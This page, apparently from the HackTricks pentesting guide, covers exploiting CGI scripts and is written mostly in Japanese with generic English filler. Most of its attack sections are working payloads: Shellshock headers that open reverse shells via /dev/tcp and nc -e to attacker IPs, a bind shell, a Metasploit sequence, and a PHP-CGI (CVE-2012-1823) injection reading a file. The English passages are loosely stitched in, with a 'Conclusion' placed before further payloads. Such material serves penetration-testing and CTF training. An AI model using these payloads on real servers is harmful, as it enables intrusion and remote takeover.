hacktricks/network-services-pentesting/pentesting-web/cgi.md
2023-07-07 23:42:27 +00:00

14 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

情報

CGIスクリプトはperlスクリプトですので、.cgiスクリプトを実行できるサーバーを侵害した場合、perlリバースシェルをアップロードすることができます/usr/share/webshells/perl/perl-reverse-shell.pl)。拡張子を**.plから.cgiに変更し、実行権限を与え、ウェブブラウザからリバースシェルにアクセス**して実行することができます。 CGIの脆弱性をテストするためには、nikto -C all(およびすべてのプラグイン)を使用することをお勧めします。

ShellShock

Bashは、アプリケーションから渡されたコマンドを実行するためにも使用できます。この脆弱性の影響を受けるのは、Bashに環境変数を設定するためのコマンドの一種です。環境変数は、コンピュータ上でプロセスの実行方法に影響を与える動的な名前付き値です。この脆弱性は、攻撃者が環境変数に悪意のあるコードを追加することができ、変数が受信されると実行されるという事実にあります。

この脆弱性を悪用すると、ページがエラーを表示する可能性があります。

この脆弱性を見つけるには、古いApacheバージョンcgi_modcgiフォルダを使用しているを使用しているか、niktoを使用していることに気付くことができます。

テスト

ほとんどのテストは、何かをエコーし、その文字列がWebレスポンスで返されることを期待しています。ページが脆弱性の可能性があると思われる場合は、すべてのcgiページを検索してテストしてください。

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl反射型、盲目型、帯域外

Curl is a command-line tool used for making HTTP requests. It can be used to test and exploit various vulnerabilities in web applications. In this section, we will discuss three types of attacks that can be performed using Curl: reflected, blind, and out-of-band attacks.

Reflected Attacks

Reflected attacks involve injecting malicious code into user input that is then reflected back in the server's response. This can be used to execute arbitrary code or perform other malicious actions on the server. To perform a reflected attack using Curl, you can use the --data or --data-urlencode options to send the payload as part of the request.

Blind Attacks

Blind attacks are similar to reflected attacks, but the server does not directly reflect the injected code in its response. Instead, the attacker needs to find a way to extract information from the server indirectly. This can be done by analyzing the timing or size of the server's response. Curl can be used to perform blind attacks by sending requests with different payloads and analyzing the server's response.

Out-of-Band Attacks

Out-of-band attacks involve sending data from the target server to an external server controlled by the attacker. This can be useful when the target server is behind a firewall or other security measures that prevent direct communication. Curl can be used to perform out-of-band attacks by including a callback URL in the payload and monitoring the external server for incoming requests.

By understanding and utilizing these different types of attacks, you can effectively test and exploit vulnerabilities in web applications using Curl.

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

攻撃手法

Exploiting a CGI vulnerability involves taking advantage of flaws in the Common Gateway Interface (CGI) scripts used by web applications. These vulnerabilities can allow an attacker to execute arbitrary commands on the server or gain unauthorized access to sensitive information.

Command Injection

Command injection is a common vulnerability in CGI scripts that allows an attacker to execute arbitrary commands on the server. This can be achieved by manipulating user-supplied input that is not properly validated or sanitized by the script.

To exploit command injection, an attacker can inject malicious commands into the input fields of a web application that uses CGI scripts. These commands will then be executed by the server, potentially giving the attacker full control over the system.

File Inclusion

File inclusion vulnerabilities in CGI scripts can allow an attacker to include and execute arbitrary files on the server. This can be used to read sensitive files, execute malicious code, or even gain remote code execution.

To exploit file inclusion, an attacker can manipulate the input parameters of a web application to include a file from a remote location or from the local file system. By including a malicious file, the attacker can execute arbitrary code or access sensitive information.

Path Traversal

Path traversal vulnerabilities in CGI scripts allow an attacker to access files and directories outside of the intended scope. This can be used to read sensitive files, execute arbitrary code, or even gain remote code execution.

To exploit path traversal, an attacker can manipulate the input parameters of a web application to traverse directories and access files outside of the intended directory. By accessing sensitive files, the attacker can gather information or execute arbitrary code on the server.

Remote Code Execution

Remote code execution vulnerabilities in CGI scripts allow an attacker to execute arbitrary code on the server. This can be achieved by exploiting other vulnerabilities, such as command injection or file inclusion, to execute malicious code.

To exploit remote code execution, an attacker can inject and execute malicious code in a web application that uses CGI scripts. This can lead to full control over the server and potentially compromise the entire system.

Denial of Service

Denial of Service (DoS) attacks can be performed against CGI scripts to disrupt the availability of a web application. By sending a large number of requests or exploiting vulnerabilities in the script, an attacker can overload the server and cause it to become unresponsive.

To perform a DoS attack against a CGI script, an attacker can send a high volume of requests or exploit vulnerabilities in the script that cause excessive resource consumption. This can result in the server becoming overwhelmed and unable to respond to legitimate requests.

Conclusion

Exploiting CGI vulnerabilities can have serious consequences for web applications and their underlying systems. It is important for developers and system administrators to understand these vulnerabilities and implement proper security measures to mitigate the risk. Regular security assessments and patching of vulnerabilities are essential to maintain the security of CGI-based web applications.

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

プロキシMitMを使用したWebサーバーリクエスト

CGIは、HTTPリクエストの各ヘッダーに対して環境変数を作成します。例えば、「host:web.com」は「HTTP_HOST」「web.com」として作成されます。

WebサーバーがHTTP_PROXY変数を使用する可能性があるため、ヘッダーに「Proxy: <IP_attacker>:<PORT>」という内容を含めて送信してみてください。セッション中にサーバーがリクエストを実行する場合、サーバーが行った各リクエストをキャプチャすることができます。

古いPHP + CGI = RCECVE-2012-1823、CVE-2012-2311

基本的に、cgiがアクティブであり、phpが「古い」<5.3.12 / < 5.4.2)場合、コードを実行することができます。 この脆弱性を悪用するためには、パラメータを送信せずにWebサーバーのいくつかのPHPファイルにアクセスする必要があります特に「=」の文字を送信しないように注意してください)。 その後、この脆弱性をテストするために、例えば/index.php?-s-sに注意)にアクセスし、アプリケーションのソースコードがレスポンスに表示されることを確認します。

次に、RCEを取得するために、この特殊なクエリを送信します:/?-d allow_url_include=1 -d auto_prepend_file=php://input そして、リクエストの本文に実行するPHPコードを含めます。 例:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

脆弱性と可能な攻撃に関する詳細情報: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥